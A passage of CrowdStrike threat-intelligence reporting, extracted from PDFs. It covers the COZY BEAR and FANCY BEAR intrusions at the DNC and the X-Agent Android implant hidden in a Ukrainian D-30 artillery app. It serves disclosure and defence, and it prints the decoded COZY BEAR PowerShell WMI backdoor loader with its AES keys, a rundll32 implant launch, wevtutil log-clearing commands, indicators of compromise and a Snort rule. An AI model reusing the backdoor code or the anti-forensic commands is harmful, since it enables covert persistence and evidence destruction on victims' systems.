tasks to try to stay ahead of being detected. Both adversaries engage in extensive political and +economic espionage for the benefit of the government of the Russian Federation and are believed to be closely linked to the Russian government +s powerful and highly capable +intelligence services. +COZY BEAR (also referred to in some industry reports as CozyDuke or APT 29) is the adversary group that last year successfully infiltrated the unclassified networks of the White House, +State Department, and US Joint Chiefs of Staff . In addition to the US government, they have targeted organizations across the Defense, Energy, Extractive, Financial, Insurance, Legal, +Manufacturing Media, Think Tanks, Pharmaceutical, Research and Technology industries, along with Universities. Victims have also been observed in Western Europe, Brazil, China, +Japan, Mexico, New Zealand, South Korea, Turkey and Central Asian countries. COZY BEAR +s preferred intrusion method is a broadly targeted spearphish campaign that typically +includes web links to a malicious dropper. Once executed on the machine, the code will deliver one of a number of sophisticated Remote Access Tools (RATs), including AdobeARM, ATIAgent, and MiniDionis. On many occasions, both the dropper and the payload will contain a range of techniques to ensure the sample is not being analyzed on a virtual machine, using a +debugger, or located within a sandbox. They have extensive checks for the various security software that is installed on the system and their specific configurations. When specific +versions are discovered that may cause issues for the RAT, it promptly exits. These actions demonstrate a well-resourced adversary with a thorough implant-testing regime that is highly +attuned to slight configuration issues that may result in their detection, and which would cause them to deploy a different tool instead. The implants are highly configurable via encrypted +configuration files, which allow the adversary to customize various components, including C2 servers, the list of initial tasks to carry out, persistence mechanisms, encryption keys and +others. An HTTP protocol with encrypted payload is used for the Command & Control communication. +FANCY BEAR (also known as Sofacy or APT 28) is a separate Russian-based threat actor, which has been active since mid 2000s, and has been responsible for targeted intrusion +campaigns against the Aerospace, Defense, Energy, Government and Media sectors. Their victims have been identified in the United States, Western Europe, Brazil, Canada, China, +Georgia, Iran, Japan, Malaysia and South Korea. Extensive targeting of defense ministries and other military victims has been observed, the profile of which closely mirrors the strategic +interests of the Russian government, and may indicate affiliation with + (Main Intelligence Department) or GRU, Russia +s premier military +intelligence service. This adversary has a wide range of implants at their disposal, which have been developed over the course of many years and include Sofacy, X-Agent, X-Tunnel, +WinIDS, Foozer and DownRange droppers, and even malware for Linux, OSX, IOS, Android and Windows Phones. This group is known for its technique of registering domains that +closely resemble domains of legitimate organizations they plan to target. Afterwards, they establish phishing sites on these domains that spoof the look and feel of the victim +s web-based +email services in order to steal their credentials. FANCY BEAR has also been linked publicly to intrusions into the German Bundestag and France +s TV5 Monde TV station in April 2015. +At DNC, COZY BEAR intrusion has been identified going back to summer of 2015, while FANCY BEAR separately breached the network in April 2016. We have identified no collaboration +between the two actors, or even an awareness of one by the other. Instead, we observed the two Russian espionage groups compromise the same systems and engage separately in the +theft of identical credentials. While you would virtually never see Western intelligence agencies going after the same target without de-confliction for fear of compromising each other +operations, in Russia this is not an uncommon scenario. +Putin +s Hydra: Inside Russia +s Intelligence Services +, a recent paper from European Council on Foreign Relations, does an +excellent job outlining the highly adversarial relationship between Russia +s main intelligence services + (FSB), the primary domestic intelligence +agency but one with also significant external collection and +active measures + remit, + (SVR), the primary foreign intelligence agency, and the aforementioned +GRU. Not only do they have overlapping areas of responsibility, but also rarely share intelligence and even occasionally steal sources from each other and compromise operations. Thus, +it is not surprising to see them engage in intrusions against the same victim, even when it may be a waste of resources and lead to the discovery and potential compromise of mutual +operations. +The COZY BEAR intrusion relied primarily on the SeaDaddy implant developed in Python and compiled with py2exe and another Powershell backdoor with persistence accomplished via +Windows Management Instrumentation (WMI) system, which allowed the adversary to launch malicious code automatically after a specified period of system uptime or on a specific +schedule. The Powershell backdoor is ingenious in its simplicity and power. It consists of a single obfuscated command setup to run persistently, such as: +powershell.exe -NonInteractive -ExecutionPolicy Bypass -EncodedCommand +ZgB1AG4AYwB0AGkAbwBuACAAcABlAHIAZgBDAHIAKAAkAGMAcgBUAHIALAAgACQAZABhAHQAYQApAA0ACgB7AA0ACgAJACQAcgBlAHQAIAA9ACAAJABuAHUAbABsAA0ACgAJAHQAcg +This decodes to: +function perfCr($crTr, $data){ +$ret = $null +try{ +$ms = New-Object System.IO.MemoryStream +$cs = New-Object System.Security.Cryptography.CryptoStream -ArgumentList @($ms, $crTr, [System.Security.Cryptography.CryptoStreamMode]::Write) +$cs.Write($data, 0, $data.Length) +$cs.FlushFinalBlock() +$ret = $ms.ToArray() +$cs.Close() +$ms.Close() +catch{} +return $ret +function decrAes($encData, $key, $iv) +$ret = $null +try{ +$prov = New-Object System.Security.Cryptography.RijndaelManaged +$prov.Key = $key +$prov.IV = $iv +$decr = $prov.CreateDecryptor($prov.Key, $prov.IV) +$ret = perfCr $decr $encData +Catch{} +return $ret +function sWP($cN, $pN, $aK, $aI) +if($cN -eq $null -or $pN -eq $null){return $false} +try{ +$wp = ([wmiclass]$cN).Properties[$pN].Value +$exEn = [Convert]::FromBase64String($wp) +$exDec = decrAes $exEn $aK $aI +$ex = [Text.Encoding]::UTF8.GetString($exDec) +if($ex -eq $null -or $ex -eq +{return} +Invoke-Expression $ex +return $true +catch{ +return $false +$aeK = [byte[]] (0xe7, 0xd6, 0xbe, 0xa9, 0xb7, 0xe6, 0x55, 0x3a, 0xee, 0x16, 0x79, 0xca, 0x56, 0x0f, 0xbc, 0x3f, 0x22, 0xed, 0xff, 0x02, 0x43, 0x4c, 0x1b, 0xc0, 0xe7, 0x57, 0xb2, 0xcb, +0xd8, 0xce, 0xda, 0x00) +$aeI = [byte[]] (0xbe, 0x7a, 0x90, 0xd9, 0xd5, 0xf7, 0xaa, 0x6d, 0xe9, 0x16, 0x64, 0x1d, 0x97, 0x16, 0xc0, 0x67) +sWP + $aeK $aeI | Out-Null +This one-line powershell command, stored only in WMI database, establishes an encrypted connection to C2 and downloads additional powershell modules from it, executing them in +memory. In theory, the additional modules can do virtually anything on the victim system. The encryption keys in the script were different on every system. Powershell version of credential +theft tool MimiKatz was also used by the actors to facilitate credential acquisition for lateral movement purposes. +FANCY BEAR adversary used different tradecraft, deploying X-Agent malware with capabilities to do remote command execution, file transmission and keylogging. It was executed via +rundll32 commands such as: +rundll32.exe +C:\Windows\twain_64.dll +In addition, FANCY BEAR +s X-Tunnel network tunneling tool, which facilitates connections to NAT-ed environments, was used to also execute remote commands. Both tools were +deployed via RemCOM, an open-source replacement for PsExec available from GitHub. They also engaged in a number of anti-forensic analysis measures, such as periodic event log +clearing (via wevtutil cl System and wevtutil cl Securitycommands) and resetting timestamps of files. +Intelligence collection directed by nation state actors against US political targets provides invaluable insight into the requirements directed upon those actors. Regardless of the agency or +unit tasked with this collection, the upcoming US election, and the associated candidates and parties are of critical interest to both hostile and friendly nation states. The 2016 presidential +election has the world +s attention, and leaders of other states are anxiously watching and planning for possible outcomes. Attacks against electoral candidates and the parties they +represent are likely to continue up until the election in November. +Indicators of Compromise: +Adversary +IOC Type +Additional Info +6c1bce76f4d2358656132b6b1d471571820688ccdbaca0d86d0ca082b9390536 +COZY BEAR +SHA256 +pagemgr.exe (SeaDaddy implant) +b101cd29e18a515753409ae86ce68a4cedbe0d640d385eb24b9bbb69cf8186ae +COZY BEAR +SHA256 +pagemgr.exe +(SeaDaddy implant) +185[.]100[.]84[.]134:443 +COZY BEAR +SeaDaddy implant C2 +58[.]49[.]58[.]58:443 +COZY BEAR +SeaDaddy implant C2 +218[.]1[.]98[.]203:80 +COZY BEAR +Powershell implant C2 +187[.]33[.]33[.]8:80 +COZY BEAR +Powershell implant C2 +fd39d2837b30e7233bc54598ff51bdc2f8c418fa5b94dea2cadb24cf40f395e5 +FANCY BEAR SHA256 +twain_64.dll +(64-bit X-Agent implant) +4845761c9bed0563d0aa83613311191e075a9b58861e80392914d61a21bad976 FANCY BEAR SHA256 +VmUpgradeHelper.exe (X-Tunnel implant) +40ae43b7d6c413becc92b07076fa128b875c8dbb4da7c036639eccf5a9fc784f +VmUpgradeHelper.exe +FANCY BEAR SHA256 +(X-Tunnel implant) +185[.]86[.]148[.]227:443 +FANCY BEAR C2 +X-Agent implant C2 +45[.]32[.]129[.]185:443 +FANCY BEAR C2 +X-Tunnel implant C2 +23[.]227[.]196[.]217:443 +FANCY BEAR C2 +X-Tunnel implant C2 +Danger Close: Fancy Bear Tracking of Ukrainian Field +Artillery Units +crowdstrike.com /blog/danger-close-fancy-bear-tracking-ukrainian-field-artillery-units/ +Adam +Meyers +12/21/2016 +Update + As of March 2017, the estimated losses of D-30 howitzer platform have been amended. According to an +update provided by the International Institute for Strategic Studies (IISS) Research Associate for Defence and +Military Analysis, Henry Boyd, their current assessment is as follows: +excluding the Naval Infantry battalion in the +Crimea which was effectively captured wholesale, the Ukrainian Armed Forces lost between 15% and 20% of their +pre-war D +30 inventory in combat operations. +In June CrowdStrike identified and attributed a series of targeted intrusions at the Democratic National Committee +(DNC), and other political organizations that utilized a well known implant commonly called X-Agent. X-Agent is a +cross platform remote access toolkit, variants have been identified for various Windows operating systems, Apple +iOS, and likely the MacOS. Also known as Sofacy, X-Agent has been tracked by the security community for almost a +decade, CrowdStrike associates the use of X-Agent with an actor we call FANCY BEAR. This actor to date is the +exclusive operator of the malware, and has continuously developed the platform for ongoing operations which +CrowdStrike assesses is likely tied to Russian Military Intelligence (GRU). The source code to this malware has not +been observed in the public domain and appears to have been developed uniquely by FANCY BEAR. +Late in the summer of 2016, CrowdStrike Intelligence analysts began investigating a curious Android Package +(APK) named +30.apk + (MD5: 6f7523d3019fa190499f327211e01fcb) which contained a number of Russian +language artifacts that were military in nature. Initial research identified that the filename suggested a relationship to +the D-30 122mm towed howitzer, an artillery weapon first manufactured in the Soviet Union in the 1960s but still in +use today. In-depth reverse engineering revealed the APK contained an Android variant of X-Agent, the command +and control protocol was closely linked to observed Windows variants of X-Agent, and utilized a cryptographic +algorithm called RC4 with a very similar 50 byte base key. +The filename +30.apk + was linked to a legitimate application which was initially developed domestically within +Ukraine by an officer of the 55th Artillery Brigade named Yaroslav Sherstuk. In media interviews Mr. Sherstuk claims +that the application, which had some 9000 users, reduced the time to fire the D-30 from minutes to seconds. No +evidence of the application has been observed on the Android app store, making it unlikely that the app was +distributed via that platform. +D-30 Howitzer in service with Ukrainian military personnel +Today CrowdStrike is releasing publicly an intelligence report which was circulated to CrowdStrike Falcon +Intelligence customers detailing the use of the trojanized +30.apk + application by the Ukrainian military and +the deadly repercussions inflicted on that platform by Russian forces. The key points of this report are: +From late 2014 and through 2016, FANCY BEAR X-Agent implant was covertly distributed on Ukrainian +military forums within a legitimate Android application developed by Ukrainian artillery officer Yaroslav +Sherstuk. +The original application enabled artillery forces to more rapidly process targeting data for the Soviet-era D-30 +Howitzer employed by Ukrainian artillery forces reducing targeting time from minutes to under 15 seconds. +According to Sherstuk +s interviews with the press, over 9000 artillery personnel have been using the +application in Ukrainian military. +Successful deployment of the FANCY BEAR malware within this application may have facilitated +reconnaissance against Ukrainian troops. The ability of this malware to retrieve communications and gross +locational data from an infected device makes it an attractive way to identify the general location of Ukrainian +artillery forces and engage them. +Open source reporting indicates that Ukrainian artillery forces have lost over 50% of their weapons in the 2 +years of conflict and over 80% of D-30 howitzers, the highest percentage of loss of any other artillery pieces +in Ukraine +s arsenal. +This previously unseen variant of X-Agent represents FANCY BEAR +s expansion in mobile malware +development from iOS-capable implants to Android devices, and reveals one more component of the broad +spectrum approach to cyber operations taken by Russia-based actors in the war in Ukraine. +The collection of such tactical artillery force positioning intelligence by FANCY BEAR further supports +CrowdStrike +s previous assessments that FANCY BEAR is likely affiliated with the Russian military +intelligence (GRU), and works closely with Russian military forces operating in Eastern Ukraine and its border +regions in Russia. +The following Snort rule matches on the X-Agent-Android C2 beacon request: +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (\ +msg: +CrowdStrike FANCY BEAR X-Agent Android C2 Request +flow: established,to_server; \ +content: +; http_uri; \ +pcre: +/^\/(watch|search|find|results|open|close)\/\?/U +pcre: +/[\?\&](text|from|ags|oe|aq|btnG|oprnd)=/U +classtype: trojan-activity; metadata: service http; \ +sid: XXXX; rev: 20160815;) +Join Dmitri Alperovitch and me live on January 4, 2017 at 2pm EST for Bear Hunting: History and Attribution of +Russian Intelligence Operations to learn more about FANCY BEAR and linkages to the GRU. Register now. +For continuous access to the industry-leading intelligence that powers CrowdStrike Falcon + to include strategic, +operational, and technical reporting as well as indicator feeds and APIs of more than 80+ Targeted Intrusion, +Hacktivist, and eCrime adversary groups, their TTPs, and associated campaigns + request info. +As Vice President of Intelligence, Adam Meyers oversees all intelligence gathering and cyber adversary monitoring +for CrowdStrike, the leader in cloud-delivered endpoint protection, threat intelligence and response services. Falcon +Intelligence is part of the CrowdStrike Falcon Platform, which helps organizations stop cyber breaches. At +CrowdStrike, the value of threat intelligence lies in its ability to proactively protect your environment from attacks, +through a deep understanding of the adversary and what it takes to stop them. +USE OF FANCY BEAR +ANDROID MALWARE IN TRACKING OF +UKRAINIAN FIELD ARTILLERY UNITS +PUBLISHED DECEMBER 22 +CROWDSTRIKE GLOBAL INTELLIGENCE TEAM +web: WWW.CROWDSTRIKE.COM | twitter: @CROWDSTRIKE +Copyright 2016 +K E Y POI NTS + rom late 2014 and through 2016, FANCY BEAR X-Agent implant +was covertly distributed on Ukrainian military forums within a +legitimate Android application developed by Ukrainian artillery +officer Yaroslav Sherstuk. + he original application enabled artillery forces to more rapidly +process targeting data for the Soviet-era D-30 Howitzer employed +by Ukrainian artillery forces reducing targeting time from +minutes to under 15 seconds. According to Sherstuk +s interviews +with the press, over 9000 artillery personnel have been using +the application in Ukrainian military. + uccessful deployment of the FANCY BEAR malware within +this application may have facilitated reconnaissance against +Ukrainian troops. The ability of this malware to retrieve +communications and gross locational data from an infected +device makes it an attractive way to identify the general location +of Ukrainian artillery forces and engage them. + pen source reporting indicates that Ukrainian artillery forces +OPEN-SOURCE +REPORTING INDICATES +LOSSES OF ALMOST +50% OF EQUIPMENT IN +THE LAST 2 YEARS OF +CONFLICT AMONGST +UKRAINIAN ARTILLERY +FORCES AND OVER 80% +OF D-30 HOWITZERS +WERE LOST, FAR MORE +THAN ANY OTHER PIECE +OF UKRAINIAN +ARTILLERY 9. +have lost over 50% of their weapons in the 2 years of conflict and +over 80% of D-30 howitzers, the highest percentage of loss of any +other artillery pieces in Ukraine's arsenal. + his previously unseen variant of X-Agent represents FANCY +BEAR +s expansion in mobile malware development from iOScapable implants to Android devices, and reveals one more +component of the broad spectrum approach to cyber operations +taken by Russia-based actors in the war in Ukraine. + he collection of such tactical artillery force positioning +intelligence by FANCY BEAR further supports CrowdStrike +previous assessments that FANCY BEAR is likely affiliated with +the Russian military intelligence (GRU), and works closely with +Russian military forces operating in Eastern Ukraine and its +border regions in Russia. +BAC KGR OUND +In late June and August 2016, CrowdStrike Intelligence provided initial +reporting and technical analysis of a variant of the FANCY BEAR implant +X-Agent that targeted the Android mobile platform2. CrowdStrike +CROWDSTRIKE +IDENTIFIED THIS +X-AGENT VARIANT +WITHIN A LEGITIMATE +ANDROID APPLICATION +NAMED +30.APK. +THIS APP WAS DEVELOPED AND USED BY +ARTILLERY TROOPS TO +SIMPLIFY TARGETING +DATA FOR THE D-30 +TOWED HOWITZER +identified this X-Agent variant within a legitimate Android application +named +30.apk. This app was developed and used by artillery +troops to simplify targeting data for the D-30 towed howitzer. CrowdStrike +investigation reveals that this app has been utilized in a possible training +or operational role in at least one unit of the Ukrainian military. Therefore, +the implant likely targeted military artillery units operating against proRussian separatists in Eastern Ukraine. +This implant represents further advancements in FANCY BEAR +development of mobile malware for targeted intrusions and extends +Russian cyber capabilities to the front lines of the battlefield. This Tipper +builds on CrowdStrike +s previous reporting by providing a timeline +of events, contextual discussion regarding the potential drivers for +development and deployment of the malware, and a description of the +analytical process resulting in targeting assessments. Finally, this Tipper +leverages these assessments, in conjunction with more recently observed +activity by Russia-based adversaries, to determine the potential for any +future activity in the mobile malware threat space. +Individual believed to be the +developer promotes Android +App on Russian Social Media +Site vKontakte +Kremlin threatens Ukraine +over EU agreement +Anon Ops vs. +Ukraine Gov +t Websites - Defacements +and DDoS +Russia offers +Ukraine loans and +discounts on gas +Intrusions into +Ukraine +Transportation +Sector +Referendum on +Crimea/Crimean +annexation +DEVELOPED +20 FEB 13 APR +Gazprom increases +gas prices, Ukraine +skips payment +JUNE +JULY +SEPT +DDoS and targeted +intrusions in media, +financial, & political +entities in Ukraine +Presidential +Elections in +Ukraine +JUNE +JULY +Malicious App +Observed in +Distribution on Forums +SEPT +LIKELY RUSSIA-BASED RECONNAISSANCE OF UKRAINIAN GOVERNMENT AND/OR MILITARY TARGETS +POSSIBLE DEVELOPMENT TIME FRAME: MALICIOUS X-AGENT IMPL ANT INJECT FOR +30 L ATE APRIL 2013 - EARLY DECEMBER 2014 +2013 +MALICIOUS APP DISTRIBUTION +2014 +ARMED CONFLICT IN UKRAINE +Ukraine +s Parliament +convenes and plans to lay +foundation for EU +Association Agreement +UKR Pres. +Yanukovych does +about face on +planned EU agreement, orients +towards Russia +Protests reach their +peak, gov +t cracks down +violently; agreement +reached for elections; +Yanukovich flees to +Russia +DDoS +vs. NATO +Protest movement +begins in Kiev +LEGEND +Armed men appear +in unmarked uniforms +in Crimea +Events associated with the Android app +International Events or Diplomacy Efforts +Ukrainian Domestic Affairs +Targeted Intrusion, DDoS or Disinformation +Russian / Ukrainian Confrontation +CyberBerkut +Emerges +Pro-Russian +forces begin +seizing +government +resources in +Eastern Ukraine +Malaysia Air Flight +MH17 destroyed +by pro-Russian +Separatists +Intrusion against +Ukraine +s Central +Election +Commission +Minsk I +Ceasefire +Signed +Video depicting +use of +application in +eastern Ukraine +Earliest public +reporting on +the Android App +developed by the +Ukrainian soldier +Cyber attacks +against Ukrainian +power stations +CyberBerkut Releases Info +Associated With Claimed +Intrusion into Ukraine +Security Service SBU +Attack on Kiev +Airport System +CyberBerkut Defaces +Bellingcat Website +JUNE +JULY +SEPT +JUNE +JULY +SEPT +LIKELY RUSSIA-BASED RECONNAISSANCE OF UKRAINIAN GOVERNMENT AND/OR MILITARY TARGETS +MALICIOUS APP DEVELOPMENT, DEPLOYMENT, AND USAGE TIME FRAME L ATE APRIL 2013 - AND BEYOND +2016 +2015 +ARMED CONFLICT IN UKRAINE +First Minsk Ceasefire +Collapses +Minsk II Protocol +signed +Targeted intrusions +against Ukraine +Ministry of Defense +Developer of benign +app promoted within +Ukrainian military +LEGEND +Events associated with the Android app +International Events or Diplomacy Efforts +Ukrainian Domestic Affairs +Targeted Intrusion, DDoS or Disinformation +Russian / Ukrainian Confrontation +Pro-Russian Hacktivist +Group Sprut Emerges +Crimea lacks +electricity after +physical attack +Reported testing +period for ArtOS +News story associating +app author as head of the +ArtOS project, a joint endeavor with the Noosphere +Engineering School +Forums discussing the app +and claiming to be associated with the developers users +are called out as fraudulent +some users claim copy apps +are distributing malware +TI M ELINE OF EVENTS +DEVELOPMENT AND DISTRIBUTION PROCESS +OF THE BENIGN APPLICATION +The original application central to this discussion, +30.apk, was +initially developed domestically within Ukraine by a member of the 55th +Artillery Brigade. Based on the file creation timestamps as well as the +app signing process, which occurred on 28 March 2013, CrowdStrike has +determined that the app was developed sometime between 20 February +and 13 April 2013. +Shortly after that time frame, on 28 April 2013, an individual bearing the +same name as the application +s developer promoted the application +on Russian vKontakte3 pages associated with the artillery forces. The +promotion of the program was likely limited to social media, and the +distribution was controlled from the author +s main page, + (translation: "Modern combat software").4 +As an additional control measure, the program was only activated for +use after the developer was contacted and issued a code to the individual +downloading the application. +No evidence of the application has been observed on the Android app +store, making it unlikely that the app was distributed via that platform. +The control measures established by the developer to limit the use and +proliferation of the +30.apk application, coupled with its unique +purpose, make its broad distribution on the Android store improbable. +THE ORIGINAL, +BENIGN APPLICATION +ENABLED ARTILLERY +FORCES TO MORE +RAPIDLY PROCESS +TARGETING DATA FOR +THE D-30 HOWITZER +REDUCING TARGETING +TIME FROM MINUTES +DOWN TO 15 SECONDS. +At the time of this writing, it is unclear to what degree and for how +long this specific application was utilized by the entirety of the +Ukrainian Artillery Forces. Based on open source reporting, social +media posts, and video evidence, CrowdStrike assesses that +30.apk +was potentially used through 2016 by at least one artillery unit operating +in eastern Ukraine. +RECONNAISSANCE, DEVELOPMENT AND DISTRIBUTION +OF THE MALICIOUS APPLICATION +R E C O N N AI SSAN CE +Given the estimated development timeframe and the promotional period +for the benign +30.apk application, the program was likely available +online for distribution after late April 2013. CrowdStrike Intelligence +assesses that the application likely came to the attention of Russiabased adversaries around this time frame as a result of ongoing Russian +reconnaissance associated with the revolution in Ukraine. Actors with a +nexus to Russia regularly monitor social media sites in order to better +understand or formulate operations against their targets. +CrowdStrike Intelligence has noted instances in which some Russia-based +actors and attribution front groups have leveraged information obtained +from Ukrainian social media sites in order to perform operations. The +most notable recent example of this was in the case of extortion-based +threats directed against the Polish Government.5 In this particular case, +the perpetrators likely sought out openly available account information +from a vKontakte page belonging to a Ukrainian citizen, who was soliciting +donations to aid volunteer soldiers fighting in eastern Ukraine. The adversary +then used this profile information, in conjunction with the name "Pravyy +Sector," to make it appear as though the extortion threats against the Polish +government were originating from an ultranationalist Ukrainian group. +CrowdStrike has assessed that by performing this type of deceptive +operation the perpetrator likely sought to make it appear as though +Ukrainian interests were threatening the Polish government. In addition, +because the individual account hijacked for this operation had been used to +try to raise funds for Ukrainian forces, the adversary may have been trying to +aggravate Western governments enough to freeze the individual +s accounts. +The attack did not appear to achieve its intended result. Poland rebuffed the +threats, and the owner of the vKontakte page denounced any involvement +FOR UKRAINIAN TROOPS, +ARTILLERY FORCES HAVE +ALSO SHOULDERED A +HEAVY COST. IN 2 +YEARS OF CONFLICT, +THEY HAVE LOST NEARLY +50% OF THEIR +ARTILLERY PIECES AND +OVER 80% OF D-30 +HOWITZERS, FAR MORE +THAN ANY OTHER +PIECE OF UKRAINIAN +ARTILLERY. +in the threat. Subsequently the Pravyy Sector group scrubbed their social +media page of much of the information associated with this failed operation. +This particular incident is an example of how a disinformation operation is +staged. While this incident is not likely to be related to the development of +the X-Agent Android variant, it demonstrates the reconnaissance and preplanning tactics that precede the rest of a campaign. Development +and Distribution +CrowdStrike has discovered indications that as early as 2015 FANCY BEAR +likely developed X-Agent applications for the iOS environment, targeting +"jailbroken" Apple mobile devices. The use of the X-Agent implant in the +original +30.apk application appears to be the first observed case +of FANCY BEAR malware developed for the Android mobile platform. On 21 +December 2014 the malicious variant of the Android application was first +observed in limited public distribution on a Russian language, Ukrainian +military forum. A late 2014 public release would place the development +timeframe for this implant sometime between late-April 2013 and early +December 2014. +During that proposed development timeframe, a number of significant +events unfolded between Ukraine, Russia, and the international +community. Most notably, Russian attempts to influence Ukrainian-EU +relations resulted in the large-scale, Maidan protest movement, eventually +resulting in the ouster of then-president Victor YANUKOVYCH, the invasion +and annexation of the Crimean Peninsula by Russia, and the protracted +armed conflict in eastern Ukraine. Therefore, the creation of an application +that targets some of the front line forces pivotal in Ukrainian defense +on the eastern front would likely be a high priority for Russian adversary +malware developers seeking to turn the tide of the conflict in their favor. +CrowdStrike Intelligence has assessed that the distribution of the +malicious application targeted the very artillery units for which the benign +application was developed +brigades operating in eastern Ukraine on the +frontlines of the conflict with Russian-backed separatist forces during +the early stages of the conflict in late-2014. This assessment is based on a +number of factors, but chief among them is the likelihood that a military +member would only trust and use an application designed to calculate +CROWDSTRIKE +INTELLIGENCE HAS +ASSESSED THAT THE +DISTRIBUTION OF THE +MALICIOUS APPLICATION +TARGETED THE VERY +ARTILLERY UNITS FOR +WHICH THE BENIGN +APPLICATION WAS +DEVELOPED +BRIGADES +OPERATING IN EASTERN +UKRAINE ON THE +FRONTLINES OF THE +CONFLICT WITH +RUSSIAN-BACKED +SEPARATIST FORCES +DURINGTHE EARLY +STAGES OF THE CONFLICT +IN LATE-2014. +something as critical as targeting data if it was developed and promoted +application could be that targeting may have been directed at pro-Russian +by a member of their own forces. The type of operational activity described +here suggests an extremely sophisticated understanding of the target that +only a skilled adversary would likely possess. +By late December 2014, the total number of Russian forces in the region +was approximately 10,000 troops.6 Because the Android malware could +facilitate gross position information, its successful deployment could +have facilitated anticipatory awareness of Ukrainian artillery force troop +movement, thus providing Russian forces with useful strategic planning +information. Indeed, the 55th Artillery Brigade and similar artillery units +operated frequently against pro-Russian separatists in eastern Ukraine. +A video posted on 18 October 20157 specifically shows them employing the +30.apk application and operating in the vicinity of eastern Ukraine. +The choice of the Russian language character set in the application further +underscores the targeting of forces within eastern Ukraine, as Russian is the +predominant language utilized in that region. An assessment of languages +spoken by region based on the most recent census information illustrates +the permeation of the Russian language in that region and highlights the +value of providing Russian in the malicious +30.apk application. +One alternative theory regarding the use of the Russian language in the +L A N G U A G E S +S P O K E N +R E G I O N +WEST +CENTER +SOUTH +EAST +DONBASS +URKANIAN +92.6% +78.2% +35.3% +37.4% +19.9% +URKANIAN & +RUSSIAN EQUALLY +2.9% +16.6% +38.4% +34.4% +RUSSIAN +4.2% +25.9% +40.4% +OTHER +1.6% +5.4% +1.3% +5.2% +UNCLEAR +Distribution of Russian/Ukrainian Language Use in Ukraine8 +forces operating in eastern Ukraine. A relevant and likely counterargument for this theory, however, is that Russian +forces likely have employed fire support systems and other technologies that can already calculate targeting data, +negating the need for an application to perform this task. Additionally, the application was initially developed by a +member of the Ukrainian army. An opposing force would probably not adopt technology developed by the enemy for use +on the battlefield. +OUTCOMES AND CONCLUSION +The eastern Ukrainian front has been markedly impacted by heavy fighting involving Russian troops and pro-Russian +rebel fighters deployed to this region. Artillery forces on both sides of the conflict have served an important role. For +Ukrainian troops, artillery forces have also shouldered a heavy cost. Open-source reporting indicates losses of almost +50% of equipment in the last 2 years of conflict amongst Ukrainian artillery forces and over 80% of D-30 howitzers were +lost, far more than any other piece of Ukrainian artillery 9.9 +Between July and August 2014, Russian backed forces launched some of the most decisive attacks against Ukrainian +forces, resulting in significant loss of life, weaponry, and territory. According to open sources, Ukrainian service +personnel from the 24th and 72nd Mechanized Brigade, as well as the 79th Airborne Brigade, were among the units to +have suffered casualties. International monitoring groups later assessed some of the attacks were likely to have come +from inside Russian territory.10 +A malware-infected +30.apk application probably could not have provided all the necessary data required to +directly facilitate the types of tactical strikes that occurred between July and August 2014. Eyewitness accounts from +individuals within the impacted units reported seeing an unmanned aerial vehicle (UAV) used in the area prior to one +attack, underscoring the need for precise locational data for these particular strikes and introducing the possibility +that the Android malware served to support the reconnaissance role of +traditional battlefield assets. Although traditional overhead intelligence +surveillance and reconnaissance (ISR) assets were likely still needed +to finalize tactical movements, the ability of this application to retrieve +communications and gross locational data from infected devices, could +provide insight for further planning, coordination, and tasking of ISR, +artillery assets, and fighting forces. +The X-Agent Android variant does not exhibit a destructive function and does +not interfere with the function of the original +30.apk application. +Therefore, CrowdStrike Intelligence has assessed that the likely role of +this malware is strategic in nature. The capability of the malware includes +gaining access to contacts, Short Message Service (SMS) text messages, +call logs, and internet data, and FANCY BEAR would likely leverage this +information for its intelligence and planning value. +CrowdStrike Intelligence assesses a tool such as this has the potential +ability to map out a unit +s composition and hierarchy, determine their plans, +and even triangulate their approximate location. This type of strategic +analysis can enable the identification of zones in which troops are operating +and help prioritize assets within those zones for future targeting. +Additionally, a study provided by the International Institute of Strategic +Studies determined that the weapons platform bearing the highest losses +between 2013 and 2016 was the D-30 towed howitzer.11 It is possible that +CROWDSTRIKE +INTELLIGENCE ASSESSES +A TOOL SUCH AS THIS +HAS THE POTENTIAL +ABILITY TO MAP OUT A +UNIT +S COMPOSITION +AND HIERARCHY, +DETERMINE THEIR +PLANS, AND EVEN +TRIANGULATE THEIR +APPROXIMATE LOCATION +the deployment of this malware infected application may have contributed +to the high-loss nature of this platform. +The development of the X-Agent Android malware represents an expansion +of FANCY BEAR capabilities in terms of mobile malware, and illustrates +the practical application of full-spectrum combat as envisioned in the +eponymous doctrinal writings of General Valery GERASIMOV. As a part +of full-spectrum operations in Ukraine, Russia-based adversaries have +leveraged malware on the battlefield, in the civil sector, and against +critical infrastructure. They have also engaged in aggressive information +operations in the media. In relation to this broader picture of Russian +computer operations, the approach to targeting mobile smartphone and +tablet devices in order to gain strategic insight into communications is a +tactic that cannot be disregarded. +CrowdStrike assesses that the observed and described X-Agent implant +targeting Ukrainian military Android devices running the +30.apk +application is likely only the initial iteration of this type of malware. While +this malware was initially discovered in a battlefield environment, an +adversary could also leverage it in attacks against non-military targets. +Mobile devices and internet-connected technology have increasingly +proliferated civilian and military organizations. This technique may very +likely be deployed in the political, government, or non-governmental +sectors in the near future. +1-The name +30.apk is an abbreviated variant of +which translates to Correction-D30. +2-For more information, contact CrowdStrike +3-vKontakte is a Russian social media networking site alike in layout +and functionality to Facebook. +4-http://programs-art.at.ua +5-For more information, contact CrowdStrike +6-Igor Sutyagin, +Russian Forces in Ukraine, + Royal United Services +Institute, March 2015, https://rusi.org/sites/default/files/201503_bp_ +russian_forces_in_ukraine.pdf +THE COLLECTION +OF SUCH TACTICAL +ARTILLERY FORCE +POSITIONING +INTELLIGENCE BY FANCY +BEAR FURTHER +SUPPORTS CROWDSTRIKE +PREVIOUS ASSESSMENTS +THAT FANCY BEAR IS LIKELY +AFFILIATED WITH THE +RUSSIAN MILITARY +INTELLIGENCE (GRU) +7-https://www.youtube.com/watch?v=qp-7e_ZGH8I +8-Data for image circa 2015. Note: These maps do not provide data for +Crimea. According to various sources, there are estimates suggesting +that, in greater Crimea 80% speak Russian, 10% speak Ukrainian, and 10% +speak Tatar. The percentage of Russian speakers is estimated to be higher +in Sevastopol, most likely dues to the Russian Naval Base in the region. +Source: The Razumkov Center report on "The Ukranian Citizen's Identity in +the New Environment: Status, Trends, Regional Differences," +7 June 2016, +razumkov.org.ua/upload/identi-2016.pdf. +9-http://thesaker.is/ukrainian-army-losses-in-ato-anti-terrorist-operationaccording-to-the-iisss-military-balance/ +10-For more information, see +Origin of Artillery Attacks on Ukrainian +Military Positions in Eastern Ukraine between 14 July 2014 and 8 August +2014, 